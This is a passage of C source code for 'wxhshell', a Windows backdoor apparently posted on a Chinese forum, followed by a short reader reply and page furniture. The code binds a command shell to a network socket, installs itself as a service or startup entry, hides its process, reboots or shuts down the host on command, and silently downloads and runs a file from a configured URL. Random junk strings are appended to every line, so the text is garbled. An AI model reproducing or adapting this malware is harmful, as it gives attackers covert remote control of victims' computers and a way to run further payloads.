  if(DownloadFile(cmd,wsh)) !4/s|b9K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f\|R<3 L  
  else \FL`b{!+ N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gG,"wzj  
  } x1O]@Z{d\  
  else { (6Y.|u]bq  
 EOn[!  
    switch(cmd[0]) { Pf,lZU?f  
  ]\.3<^  
  // 帮助 3G.-JLhs  
  case '?': { s|O4 >LsG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <5xlP:Cx  
    break; O-N@HZC  
  } C-TATH%f^  
  // 安装 K:JM*4W  
  case 'i': { A7hWAq  
    if(Install()) a3Fe42G2c|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '",+2=JJ  
    else }#Q?\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6p}dl>T_y  
    break; 8rNRQOXOa  
    } j,J/iJs  
  // 卸载 {S Oy-  
  case 'r': { ~stG2^"[  
    if(Uninstall()) ?O|CY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UWPzRk#s"  
    else l2S1?*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3c|u2Pl  
    break; m35$4  
    } RHIGNzSz  
  // 显示 wxhshell 所在路径 YM`I&!n  
  case 'p': { 5i eF8F%  
    char svExeFile[MAX_PATH]; OngUZMgdb  
    strcpy(svExeFile,"\n\r"); ^rX5C2}G\D  
      strcat(svExeFile,ExeFile); }TDoQ]P  
        send(wsh,svExeFile,strlen(svExeFile),0); C}D\^(nLu.  
    break; B']}n`g  
    } "Ei' FM  
  // 重启 BM+>.  
  case 'b': { {I9<W'k{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dJf#j?\[  
    if(Boot(REBOOT)) OV+|j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g4U`Qf3  
    else { ol#4AU`  
    closesocket(wsh); so]p1@K  
    ExitThread(0); b&_u+g  
    } -nL!#R{e  
    break; X[;-SXq  
    } d+iV19#i  
  // 关机 +)06*"I  
  case 'd': { ./r#\X)dc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8IQqDEY^  
    if(Boot(SHUTDOWN)) -NL=^O$G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y/\0qQ/  
    else { P6 ~& ,a  
    closesocket(wsh); 5W4Tp% Lda  
    ExitThread(0); }n;.E&<[  
    } Pg%k>~i  
    break; 3$#=* Zp  
    } loByT p ^  
  // 获取shell .Z#8,<+  
  case 's': { F./$nwb  
    CmdShell(wsh); ~z$+uK  
    closesocket(wsh); }Lc8tj<  
    ExitThread(0); ZBxV&.9/  
    break; xC^|S0B  
  } e{k)]]J  
  // 退出 in>.Tax*  
  case 'x': { K[s!3.u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _uQxrB"9  
    CloseIt(wsh); qQ^ bUpk0  
    break; FS^ie|8{D-  
    } _WB*ArR  
  // 离开 CWx_9b zk  
  case 'q': { 0m>?-/uDx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o7^u@*"F  
    closesocket(wsh); ps&p|  
    WSACleanup(); *;!p#qL  
    exit(1); c[zaYcbl  
    break; t}m"rMbt  
        } @S#Ls="G  
  } wVac6q  
  } : kw14?]_  
9|5>?'CqP  
  // 提示信息 *If ]f0?%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vWq/A.  
} g(-}M`  
  } s& Lyg>>`  
w7"&\8a  
  return; $geDB~ 2>  
} Q~#[_Upkc  
wU(N<9  
// shell模块句柄 je`w$ ^w  
int CmdShell(SOCKET sock) &br_opNi  
{ r6 :c<p[c  
STARTUPINFO si; n\'@]qG)Z4  
ZeroMemory(&si,sizeof(si)); whb,2=gIE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ks FkC=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o)SA^5  
PROCESS_INFORMATION ProcessInfo; ?I}0[+)V  
char cmdline[]="cmd"; a0*qK)gH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~9h/{$  
  return 0; ZB5u\NpcW  
} v3Xt<I=4y  
C#@>osC  
// 自身启动模式 P%_PG%O2p  
int StartFromService(void) yaWHGre  
{ e,I{+ ^P  
typedef struct >X0c:p Pu  
{ T*v@hbJ  
  DWORD ExitStatus; b _%W*Q  
  DWORD PebBaseAddress; u .R   
  DWORD AffinityMask; p({)ZU3  
  DWORD BasePriority; n.tJ-l5[  
  ULONG UniqueProcessId; O$$$1VHYo  
  ULONG InheritedFromUniqueProcessId; NUb:5tL  
}   PROCESS_BASIC_INFORMATION; +8eW/Bs@2  
UukHz}(E  
PROCNTQSIP NtQueryInformationProcess; ~RIn7/A  
1EcXvT=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n1+,Pe*)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8^)K|+_'m  
]YqeI*BX  
  HANDLE             hProcess; [bZASeh  
  PROCESS_BASIC_INFORMATION pbi; :^ *9E b  
n=tg{_9f%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <'l;j"&lp  
  if(NULL == hInst ) return 0; l! 9G  
]xf|xs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,.PW qfb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _?J:Z*z?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oMer+=vH  
x"xtILrI  
  if (!NtQueryInformationProcess) return 0; Sh2;^6d  
Tt*n.HA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (U#9  
  if(!hProcess) return 0; :"e,& %  
3|g]2|~w@h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mbCY\vEl  
-4!i(^w[m/  
  CloseHandle(hProcess); +jIE,N  
Bvy(vc=UDW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q"%;),@  
if(hProcess==NULL) return 0; "i3Q)$"S  
FdVWj 5 $a  
HMODULE hMod; +5C*i@v  
char procName[255]; r -SQk>Y}  
unsigned long cbNeeded; '@Q aeFm  
oP( Hkp,'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XkJzt  
qGgqAF#B  
  CloseHandle(hProcess); l: X]$2;  
oN/T>&d  
if(strstr(procName,"services")) return 1; // 以服务启动 8E9W\@\  
2(Ez H  
  return 0; // 注册表启动 _O*"_^6  
} @vcvte  
Tl ?]K  
// 主模块 2~BId&]  
int StartWxhshell(LPSTR lpCmdLine) 3cztMi  
{ ?]bZ6|;2  
  SOCKET wsl; I%q&4L7pj  
BOOL val=TRUE; d,0Yi u.p  
  int port=0; r\sQ8/  
  struct sockaddr_in door; k2S6 SB  
MX.=k>  
  if(wscfg.ws_autoins) Install(); =5yI>A0  
E*_lT`Hzf  
port=atoi(lpCmdLine); V$7SVq  
TtaVvaz~>  
if(port<=0) port=wscfg.ws_port; {V)Z!D  
ctg[C$<q|  
  WSADATA data; pdQ6/vh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .sk$@Q  
5I(gP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TXlxnB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Uhz<B #tj  
  door.sin_family = AF_INET; B[R1XpB7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $A/$M\ :  
  door.sin_port = htons(port); Wi?37EHr  
b-x,`s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +R_w- NI  
closesocket(wsl); ^KsiTVY  
return 1; 5YG?m{hyn_  
} f/:XIG  
=Qcz:ng  
  if(listen(wsl,2) == INVALID_SOCKET) { {t;{={$  
closesocket(wsl); XNU[\I  
return 1; O)tZ`X;  
} >/DyR+?>4  
  Wxhshell(wsl); nD$CY K  
  WSACleanup(); ?`oCc [hY  
p7A&r:qq#  
return 0; . d;XLS~  
\HzI*|*A  
} fi2@`37PM  
n>Rt9   
// 以NT服务方式启动 x@I(G "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U&D"fM8  
{ )&j4F)  
DWORD   status = 0; 7O)U(<70  
  DWORD   specificError = 0xfffffff; [8VB"{{&  
TuBl9 p'6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _:,:U[@Vz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ">G|\_ZF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q,JMmhWaT  
  serviceStatus.dwWin32ExitCode     = 0; L.[ H   
  serviceStatus.dwServiceSpecificExitCode = 0; Z5uetS^  
  serviceStatus.dwCheckPoint       = 0; kphv)a4z=  
  serviceStatus.dwWaitHint       = 0; ( *(#;|m  
^fLePsmd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J/j?;qx]j  
  if (hServiceStatusHandle==0) return; Xw=>L#Q  
DFz,>DM;  
status = GetLastError(); oXc!JZ^  
  if (status!=NO_ERROR) L//Z\xr|  
{ Wh:SZa|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ['MG/FKuv  
    serviceStatus.dwCheckPoint       = 0; L>Y>b4oy3  
    serviceStatus.dwWaitHint       = 0; O/9dPod  
    serviceStatus.dwWin32ExitCode     = status; t&SC>8M<  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8} \Lt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /.<T^p@\&  
    return; vMiZ:*iaj@  
  } Bf;dp`(/   
8"4&IX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lEBt<  
  serviceStatus.dwCheckPoint       = 0; ,OX(z=i_  
  serviceStatus.dwWaitHint       = 0;  #cqia0.H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gc 14%  
} S=>54!{`x  
m ?a&XZ  
// 处理NT服务事件,比如:启动、停止 Uj)~>V'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,c@^u6a  
{ *v[WJ"8@  
switch(fdwControl) gv}Esps R  
{ z O  
case SERVICE_CONTROL_STOP: 8I)66  
  serviceStatus.dwWin32ExitCode = 0; I_('Mr)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1f]04TI  
  serviceStatus.dwCheckPoint   = 0; x1\,WOrmK  
  serviceStatus.dwWaitHint     = 0; $!L'ZO1_r  
  { ] ZGP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bu[v[U4  
  } kzG m D i  
  return; {$,e@nn  
case SERVICE_CONTROL_PAUSE: :A\8#]3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~a:0Q{>a  
  break; 8. [TPiUn'  
case SERVICE_CONTROL_CONTINUE: A@BYd'}]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )oJn@82C|  
  break; L'LZK  
case SERVICE_CONTROL_INTERROGATE: $9DV }  
  break; sv0) sL  
}; }1P>^I"[Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c rPEr  
} ~F^(O{EG  
QAigbSn]  
// 标准应用程序主函数 G[1:<Vg8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) epsh&)5a*  
{ 4=S.U`t7  
.7Zb,r  
// 获取操作系统版本 %e2,p&0G  
OsIsNt=GetOsVer(); F_o5(`>^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); { as#lHn  
PG<tic<?  
  // 从命令行安装 [R[]&\W  
  if(strpbrk(lpCmdLine,"iI")) Install(); -t_t3aU|  
bT<if@h-  
  // 下载执行文件 n}MW# :eJe  
if(wscfg.ws_downexe) { Yy6Mkw7X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )-q#hY  
  WinExec(wscfg.ws_filenam,SW_HIDE); dd#=_xe  
} \jDD=ew  
ufE;rcYE  
if(!OsIsNt) { >NWrT^rk  
// 如果时win9x,隐藏进程并且设置为注册表启动 yrOWC  
HideProc(); ?!=yp#  
StartWxhshell(lpCmdLine); :DTKZ9>2D  
} -&JUg o=  
else t{#B td  
  if(StartFromService()) FS7 _ldD  
  // 以服务方式启动 >J+'hm@  
  StartServiceCtrlDispatcher(DispatchTable); C?jk#T  
else >58N P1[k  
  // 普通方式启动 j+He8w-4  
  StartWxhshell(lpCmdLine); pj:s+7"t  
?.d6!vA  
return 0; \ s^a4l 2  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五